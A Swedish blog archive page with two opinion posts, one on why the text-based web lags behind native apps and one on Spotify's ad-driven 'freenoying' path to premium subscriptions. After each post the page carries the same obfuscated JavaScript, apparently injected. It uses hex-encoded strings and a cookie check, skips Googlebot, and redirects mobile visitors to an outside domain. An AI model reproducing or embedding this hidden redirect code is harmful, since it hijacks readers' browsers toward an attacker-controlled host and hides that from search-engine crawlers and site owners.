Tag Archives: media

Webben behöver ett GUI.

Folk snackar om att webben är den nya plattformen, att allt ska vara webbaserat, osv osv. “I slutändan kommer webben vinna”, [över apps är underförstått] menar kännare som Chris Messina Han tror till och med att Steve Jobs egentligen hatar Apps. Jag tror de har fel allihop. Vi som faktiskt använder olika webbaserade gränssnitt märker många gånger att de är krångliga och svåra att göra som man vill med. Bästa exemplet just nu är Google’s Latitude-webapp till iPhone som faller fantastiskt platt trots att den är mycket tekniskt imponerande. Men mitt resonemang gäller likväl för datorer som mobiler, och allt däremellan. Jag har tidigare skrivit om apps vs webb.

Webben är till för text
Låtom oss ta en titt på vad webben är. Webben, vanligt förväxlat med “internet” är ett nät av HTML-dokument som skickas över ett protokoll som heter HTTP. Det som skiljer HTML-dokument från andra dokument är att de har länkar, som länkar ihop dokument på olika servrar, dessa länkar skapar ett nät, vilket på engelska heter web. HTML står för Hyper Text Markup Language. Text Markup Language. Sug på den. HTTP är Hyper Text Transfer Protocol. Text Transfer Protocol. Inte så konstigt, första versionerna utvecklades ju från början för att länka ihop vetenskapliga rapporter av olika slag.

Jag grovgenereliserar såklart, vi har formulär, plugins, javascript, osv som skapar interaktion och liknande, men de är alla eftertankar och efterkonstruktioner. Och HTML är en semantik, eller lingvistik för det språket som formatterar denna text. Det är egentligen inte konstigt, all data börjar med bitar, blir sedan text, och sedan GUI. Men kolla på en webbläsare. Den är också till för att föra över text. Den har en tillbakaknapp, ett adressfält (som blir brutalt felutnyttjat för att skicka applikationsdata), BOKMÄRKEN. Det är således inte konstigt att ingen brydde sig om att skapa lättillgänglig video för den, det var ju inte vad webben var till för. Flash blev ett hack som accepterades till en de facto standard i samband med Youtube först 2004, och först 2009 kom en seriös standard för video. Webben är väldans bra för blinda då en webbsida kan rendera i princip lika bra utan all grafik, speciellt om bilderna ersätts av en alt-text. Pun intended.

Google, webbens förkämpe byggde sitt imperium på egentligen en enda sak: En jävligt skarp motor för att matcha text med annan text. Den matchar din sökning med relevant resultat, matchar annonser med innehåll. Sökord är text, resultaten är text, till och med annonserna (de framgångsrika) är text Det är vad Google lever av, och det är grundstommen i det företaget som sådant. Deras mål är att göra all information sökbar – att matcha text med text. Mycket av Googles beteende idag har klara spår av den paradigmen, även om tekniken växer på helt andra områden än text. Google uppkom i en tid där informationen på denna webb var ostrukturerad och det var svårt att hitta rätt information. Idag har vi ett fenomenalt verktyg för att centralisera och strukturera information – Wikipedia, som ärligt talat ersatt mycket av vad webben en gång handlade om (tänk 1996). Vill du få reda på den genomsnittliga flyghastigheten av en europeisk svala kan du klara dig rätt ok utan Google, vilket var en omöjlighet innan Wikipedia. Istället har internetutvecklingen skett på andra fronter.

App Stores framgång visar egentligen bara på en sak: de programmen är så ofantligt mycket bekvämare att använda än webbplatser att det är befängt. Så mycket bekvämare att folk betalar för det som de på webben får gratis. Framför allt gäller det alla program som har att göra med interaktion av något slag. Text kan man läsa skitbra i iPhonens webbläsare. Och mycket riktigt är det jättesvårt att interagera med webb-element på en iPhone – webbinteraktion är gjord för att webben är text, och kräver alltså klassiska textredigeringsverktyg som tangentbord och mus för att funka bra. Är man begränsad till bara använda ett finger blir det svårt. Faktiskt är det lika svårt att använda program på datorn bara användandes ett finger. För det är dit vi är på väg, remember, att 99% av användarna skapar inte saker, de konsumerar. Så i 99% av fallen borde det räcka med bara ett finger.

Internet är inte samma sak som webb. Ingen vill Skypea i en webbläsare, eller ens MSN:a. Vissa gör det för att de måste då deras jobb blockar MSN. Vi använder klienter för twitter. Till och med Facebook börjar bryta ut ur webbrutan med chatt-funktionalitet och annat som blir krångligt i rutan, men skulle funka jättebra i ett fristående program. I mobilen har detta redan hänt.

Webben måste gå som datorn
Kom ihåg hur man såg på datorn in the early days. Det var en texthanteringsmaskin som bara hade text rakt upp och ner på en skärm. Indata och utdata. Helt naturligt att det kom sig att bli text, då text helt enkelt kräver mindre datamängd än bild, video, eller interaktion. Användningsområdet för första kommersiella datorn? Att lagra recept. Dvs att spara och söka i text. Först när NeXT “slösade med processorcykler” uppkom grafiken, och alla interaktiva möjligheter som det ledde fram till.

Webben måste göra ett liknande leap. Flash är ett steg i rätt riktning, men proprietärt, och dvs inlåst och kan således aldrig nå alla plattformar eftersom det krävs att Adobe utvecklar plugins för dem. Java-applets (app-lets) var tänkt att fylla detta tomrum, men verkar ha snubblat över sina egna fötter någon gång i slutet på 90-talet. Kanske kommer det dyka upp något baserat på HTML5 Canvas och Javascript, eller kanske kastas allt detta i sjön och det kommer nåt nytt. Hur som helst behövs en plattform med bra utvecklarverktyg för att snabbt skapa interaktiva applikationer. Som det Apple erbjuder iPhone-utvecklare, fast ännu mycket lättare, så att vi simpla html/javascript-kodare kan använda det. Program som kan kommas åt på olika sätt (via webb, andra program, osv), som kan uppta hela skärmen, som har UI-guidelines men som inte behöver följa dem, som har tillgång till teknisk funktionalitet i operativsystemet såsom plats, betalning, skärmen, kameran, enheter, osv.

Men då har vi kommit rätt långt från den definition av webb vi har. Snarare är det en gemensam standard för att göra program.

Tills dess får vi utvecklare göra som på datorerna och anpassa för ett par två-tre dominanta operativsystem, falla tillbaka på en “webb-only” version för gamla enheter, och med olika knep för att systematisera processen, fastän det kommer vara krångligt.

Vad som är Googles plats i en sån miljö är oklart. Microsoft fattade inte paradigmskiftet från operativsystem till webb. Förhoppningsvis fattar Google paradigmskiftet webb till applikation. Men de är smarta lirare och kommer förhoppningsvis på något bra att tjäna pengar på. Och det är ju inte så att folk kommer sluta använda webben, den kommer alltid att vara ett fantastiskt verktyg. Men håll öronen öppna för när Google ropar att “allt ska vara webb!”.

Det här är så långt som mitt tänk kommer denna gång, även om jag känner att det går att dra längre. Help me out with your wisdom!

//Sergejvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Tagged , , , , , ,

Freenoying är det nya Freemium

Var på en fest i helgen där partyt och feststämning avbröts av Spotify-reklam, och kom att tänka på detta:

När Spotify kom undrade många: “Hur ska det gå runt?”, “Kommer annonserna betala för användandet?”, “Vad är affärsmodellen?”. Spotify kostade ingenting att använda, hade ett par annonser, och en premium-lösning som hade ett rimligt pris men som ingen verkade använda.

Kritiska röster höjdes – “Varför avslöjar de inte hur många av deras användare som är premium-kunder?”. Bloggar skrev den goda analysen att antagligen inte så många – ingen av oss kände någon som hade betalt för Spotify.

Och så byggde de upp en enorm användarbas med sin nytänkande tjänst, och den enorma hype de fick av att erbjuda något som tidigare kostat pengar – nu helt gratis!

Så en vacker dag skruvades annonserna upp. Fler, och fler, och mer irriterande. Helt plötsligt verkade premium inte så dumt ändå. Den tjänst som egentligen var rimligt prissatt men som vi trodde att vi skulle få gratis börjar helt plötsligt kännas väldigt gratis, och betaltjänsten alltmer rimlig.

Helt plötsligt börjar det dyka upp människor som menar att de betalar för tjänsten regelbundet.

Jag har inte tillgång till Spotifys bokslut, men en enkel gissning är att det kommer att vara de betalande användarna som får företaget att gå runt, inte annonserna.

Och däri ligger affärsmodellen – den som Chris Anderson m.fl. så goriously kallar freemium:

Lansera en tjänst som är bra, och gör den gratis. Inför ett funktionsproblem som inte förstör din goodwill (klart de måste ha reklam för att gå runt!), skruva upp den så mycket att folk inte orkar med det, och så vips – betalar de!

För betalningsviljan finns där. Människor i väst idag har alldeles för mycket pengar och vi vet inte vad vi ska göra av dem. Det enda vi behöver är ett företag som vi tycker om som säger att vi ska ge en viss summa pengar till dem för den tjänst de leverar till oss! Då betalar vi!

Det här är egentligen inget nytt. Att ge smakprov av en produkt, ett smakprov som är fungerande och bra nog, och till synes en välmenande fair deal, men att peta användaren i ögat tills den tröttnar och betalar.

Jag tror att det här är vart TV är på väg i Sverige. När mer och mer innehåll blir on-demand kommer folk bli alltmer lacka på reklamen. Om man då erbjuder en premium-version som är rimligt prissatt, och ger samma innehåll utan störningsmomenten – då har man skapat ett sätt att komma runt både piratproblematiken, och problematiken med den krympande annonsmarknaden.

Bland annat detta kommer mitt examensarbete handla om ;)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Tagged , , , , , ,